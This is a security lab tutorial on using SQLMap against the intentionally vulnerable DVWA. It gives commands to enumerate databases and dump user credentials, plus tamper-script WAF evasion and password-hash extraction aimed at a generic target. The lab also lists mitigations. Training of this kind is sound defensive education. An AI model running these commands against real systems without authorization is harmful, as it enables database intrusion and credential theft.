Lab 6: Automating SQL Injection Using SQLMap

Objective

Learn how to use SQLMap, an open-source penetration testing tool, to automate the process of detecting and exploiting SQL injection vulnerabilities in web applications. This lab will also cover techniques for mitigating these vulnerabilities.

Prerequisites

1. Kali Linux or Any Linux Distro with SQLMap Installed:
   • Verify SQLMap is installed:

     sqlmap --version
     

   • Install it if necessary:

     sudo apt update && sudo apt install sqlmap
     

2. Vulnerable Web Application:
   • Use an intentionally vulnerable application like DVWA (Damn Vulnerable Web Application) or OWASP Juice Shop.
   • Tip: Ensure your DVWA security level is set to low for easier exploitation.
3. Basic Understanding of SQL Injection:
   • Familiarity with SQL commands and how applications use SQL queries to interact with databases.
   • Insight: SQL injection manipulates vulnerable queries to access unauthorized data or perform unauthorized actions.

Step 1: Setting Up the Environment

1. Start your vulnerable web application.
   • For DVWA, ensure your web server and database server are running.
   • Access DVWA via http://localhost/dvwa in your browser.
2. Log in to DVWA (default credentials: admin / password).
3. Navigate to the SQL Injection module.

Step 2: Identifying the Vulnerable Parameter

1. In the SQL Injection module of DVWA, enter a test value into the input field (e.g., 1).
2. Observe the response:
   • If the page behaves differently when you add a single quote (e.g., 1'), it may be vulnerable to SQL injection.
   • Insight: Error messages or unusual behavior are indicators of SQL vulnerabilities.

Step 3: Running SQLMap

1. Capture the vulnerable request:
   • Use a browser extension like Burp Suite or OWASP ZAP to intercept and save the HTTP request.
   • Alternatively, note the URL and query string (e.g., http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit).
2. Run SQLMap against the target:

   sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"
   

   • -u: Specifies the target URL.
3. Observe SQLMap’s output:
   • SQLMap will test for SQL injection vulnerabilities and display its findings.
   • Tip: Use the --batch option to skip confirmation prompts in automated scripts.

Step 4: Extracting Database Information

1. Enumerate the database:

   sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs
   

   • --dbs: Lists available databases.
2. Choose a database and enumerate its tables:

   sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D <database_name> --tables
   

   • Replace <database_name> with the target database (e.g., dvwa).
3. Choose a table and enumerate its columns:

   sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D <database_name> -T <table_name> --columns
   

   • Replace <table_name> with the desired table (e.g., users).
4. Extract data from a table:

   sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D <database_name> -T <table_name> -C <column_name> --dump
   

   • Replace <column_name> with the column to extract (e.g., username,password).

Step 5: Advanced SQLMap Options

1. Bypassing WAFs (Web Application Firewalls):
   • Use tamper scripts to evade basic security mechanisms:

     sqlmap -u "http://target.com/vulnerable" --tamper="space2comment"
     

2. Testing All Parameters:
   • If the application uses multiple parameters, test them all:

     sqlmap -u "http://target.com/page?id=1&name=test" --level=3 --risk=2
     

   • Tip: Higher --level and --risk values increase testing intensity.
3. Identifying Database Type:
   • Automatically detect the database type:

     sqlmap -u "http://target.com/vulnerable" --dbms=mysql
     

4. Extracting Password Hashes:
   • Dump and crack password hashes:

     sqlmap -u "http://target.com/vulnerable" -D <database_name> -T <table_name> -C password --dump
     

Step 6: Mitigation Techniques

1. Use Parameterized Queries:
   • Ensure user input is safely handled by the database using prepared statements.
2. Validate and Sanitize Inputs:
   • Reject unexpected characters or patterns in user inputs.
3. Implement Web Application Firewalls (WAFs):
   • Use a WAF to filter out malicious requests.
4. Limit Database Privileges:
   • Restrict user roles to minimize the impact of successful attacks.
5. Perform Regular Security Audits:
   • Regularly scan and test applications for vulnerabilities.

Step 7: Cleaning Up

1. Remove any test payloads or reset the vulnerable application to its default state.
2. Document your findings and share them responsibly.

Additional Tips and Insights

1. Ethical Considerations:
   • Only perform SQLMap tests on systems where you have explicit permission to do so.
2. Automation Benefits:
   • SQLMap automates much of the manual work involved in exploiting SQL injection vulnerabilities, saving time and reducing human error.
3. Use in CTFs (Capture The Flag):
   • SQLMap is a powerful tool for solving CTF challenges that involve web exploitation.
4. Continuous Practice:
   • Experiment with different flags, tamper scripts, and configurations to deepen your understanding.

Key Takeaways

1. SQLMap is a robust tool for detecting and exploiting SQL injection vulnerabilities.
2. Understanding its features and outputs allows for efficient testing and data extraction.
3. Secure coding practices and regular vulnerability assessments are essential for preventing SQL injection attacks.